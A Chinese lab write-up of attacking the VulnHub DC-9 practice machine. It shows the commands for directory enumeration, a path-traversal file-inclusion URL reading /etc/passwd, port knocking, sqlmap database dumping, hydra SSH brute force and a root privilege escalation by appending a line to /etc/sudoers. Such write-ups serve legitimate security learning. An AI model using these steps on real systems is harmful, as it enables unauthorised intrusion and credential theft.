VulnHub DC 9入侵实战 – 作者:FFFcaptain328

基本配置

VulnHub上下载靶机DC9:

1604500786_5fa2bd32c04592cc20dd5.png!small

攻击机使用Kali2020.3,网络配置如下:

1604500792_5fa2bd382d025a1c69b8f.png!small

信息搜集

扫描虚拟局域网192.168.187.0/24:

1604500795_5fa2bd3b46afd422eb9b2.png!small

发现靶机192.168.187.142,进一步扫描:

1604500798_5fa2bd3e6f4459062dbad.png!small

用TCP SYN多扫描出来一个22端口?查一下原因,很可能是使用了knockd保护了SSH端口,先记录下来。

接下来现访问http://192.168.187.142:

1604500807_5fa2bd4785f645d65d0f7.png!small

使用wappalyzer插件可以看到网站的脚本语言使用的是php,所以下面使用gobuster枚举php脚本:

gobuster dir --url http://192.168.187.142 --wordlist /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt  -x php

1604500811_5fa2bd4be15903de5236a.png!small

一个一个访问过去,在访问到session.php的时候发生了很有趣的事情:

1604500815_5fa2bd4fe180d211dbe99.png!small

似乎是直接登陆成了admin,为了验证这个猜想,我是用burpsuite抓包看了一下访问session.php时包中带有admin用户的cookie,在登陆时直接提交这个cookie就可以登陆为admin。

在这个页面的底端有一段“File does not exist”的文本,可能这个页面有文件包含漏洞。

文件包含漏洞

如果有文件包含漏洞,那在url上先使用最常见的file参数试图进行访问,构造如下的url:

http://192.168.187.142/manage.php?file=../../../../etc/passwd

1604500821_5fa2bd556266f7ceaae38.png!small

确定有文件包含,那么接下来,由于之前怀疑靶机使用了knockd保护了SSH,那么先找一找配置文件/etc/knockd.conf:

http://192.168.187.142/manage.php?file=../../../../etc/knockd.conf

1604500825_5fa2bd596af7ab2baf654.png!small

确实有这个配置文件,那么就先用knock命令使得靶机的SSH端口对我的攻击机开放:

sudo apt-get install knockd # 安装knockd工具,其中包括knock命令
knock 192.168.187.142 7469 8475 9842 # 使用序列号knock靶机

1604500829_5fa2bd5d52df15a09e20b.png!small

可以看到,knock之后,靶机的22端口状态由filtered变为了open。

SQL注入

文件包含漏洞的利用暂时难以继续,那么就先搁置,看看其他的页面有没有可以利用的点。

在Search页面有一个按名字搜索信息的搜索框:

1604500836_5fa2bd6420cb97965257c.png!small

这里的实现肯定涉及数据库,但是查询数据库不在URL上由?体现,那么现在可以用burosuite抓个包看看:

1604500839_5fa2bd675249ea33067c3.png!small

把search的参数后加上单引号没有异常,但是构造成如下字段时发生异常:

1604500842_5fa2bd6a98ba56b064ec0.png!small

输出了所有人的信息,这不符合预期的查询结果,可以判断这个网页存在SQL注入漏洞:

1604500846_5fa2bd6e9b41b213261c7.png!small

那么接下来,由于这个查询带了cookie,那么就先把burpsuite抓到的包保存到sqlQuery.txt文件中,然后使用sqlmap探测数据库:

sqlmap -r sqlQuery.txt --dbs --batch --risk 3 --level 5

1604500850_5fa2bd72866e850a2bc79.png!small

找到三个可用的数据库,有用的信息应该在Staff和users数据库中,先探测Staff的表:

1604500854_5fa2bd760d62285f8882c.png!small

把两个表都dump下来:

sqlmap -r sqlQuery.txt -D Staff --dump --batch --risk 3 --level 5

1604500858_5fa2bd7a2479f1453af08.png!small

有一个admin账户密码的hash值,还有显示在网页上的Staff的信息,对我来说用处不大。

再看看users数据库:

1604500864_5fa2bd80744c02606d9b7.png!small

1604500867_5fa2bd83b48d36f5fc56f.png!small

得到所有用户的用户名和密码(用户密码一定不要明文存啊!),把用户名分别存放到dc9users.txt和dc9pass.txt文件中。

试试用这些用户名和密码登录SSH,使用hydra进行爆破:

hydra -L dc9users.txt -P dc9pass.txt ssh://192.168.187.142

破解出两个符合的密码:

1604500871_5fa2bd87f0a67380205b5.png!small

进入靶机

分别用两个账号登录靶机,其中chandlerb没有什么有效的信息,但是通过janitor的账号登录可以得到如下的文件。

1604500875_5fa2bd8b8ae76227c0da9.png!small

有一个奇怪的目录.secrets-for-putin,打开可以得到一个存放有密码的文件:

1604500878_5fa2bd8edd32ec6a6154b.png!small

把这几个密码放入dc9pass.txt中,再使用hydra爆破一次SSH:

1604500883_5fa2bd930376baf4962f8.png!small

可以得到一个新的密码。接下来登录fredf账户,以求获得更多的信息。

提权

登录fredf账户,收集一点基本的信息:

1604500886_5fa2bd96844944aeb89b5.png!small

接下来准备提权。先看有没有自带root权限的指令:

1604500889_5fa2bd99d767d0c936a19.png!small

没有什么特殊的,那接下来查看有没有可以sudo执行的指令:

1604500893_5fa2bd9dc58b017a4cf5f.png!small

发现这样一条指令(?)先执行以下看看是什么东西:

1604500899_5fa2bda311b478bfb91bd.png!small

应该是一个test.py python脚本,找找看:

find / -name test.py -print 2>/dev/null

1604500902_5fa2bda6f0b94ae7fe67c.png!small

看看第一个test.py的内容:

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()

简单分析一下可知,这个小程序将第一个文件添加到第二个文件的结尾,并且还是以root权限运行。那么可以利用这个方法修改/etc/sudoers文件或是/etc/passwd文件达到提权的目的。

先在/tmp目录下创建一个getShell.txt文件,用来存放要写的字符串,在getShell.txt文件中写入:

fredf  ALL=(ALL:ALL) ALL

然后执行:

sudo /opt/devstuff/dist/test/test getShell.txt /etc/sudoers

得到root权限,得到/root下的flag:

1604500908_5fa2bdacbe9403afa5933.png!small

总结

这是DC系列的最后一个靶机,DC系列靶机的学习告一段落,通过这一系列靶机的学习,我能明显地感觉到自己对实际的渗透测试的流程有了一个比较全面的、粗浅的理解,发现了很多需要学习的方向,希望以后保持学习热情,继续学习下去。

总结一下这一次的DC9靶机

学到的知识:

  • 再次熟悉了一下gobuster的用法

  • 熟悉了sqlmap的用法

  • 对文件包含漏洞的表现以及利用加深了印象

  • 再次熟悉了hydra的用法

  • 加深了对/etc/sudoers文件的理解

还需学习的知识:

  • 对sql注入漏洞的敏感程度不够,了解还比较粗浅,手动判断方法还不是很熟悉

  • 对/etc/passwd文件的配置不熟悉,刚开始想用修改这个文件提权,但是一直没能成功

来源:freebuf.com 2020-11-04 22:43:27 by: FFFcaptain328

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论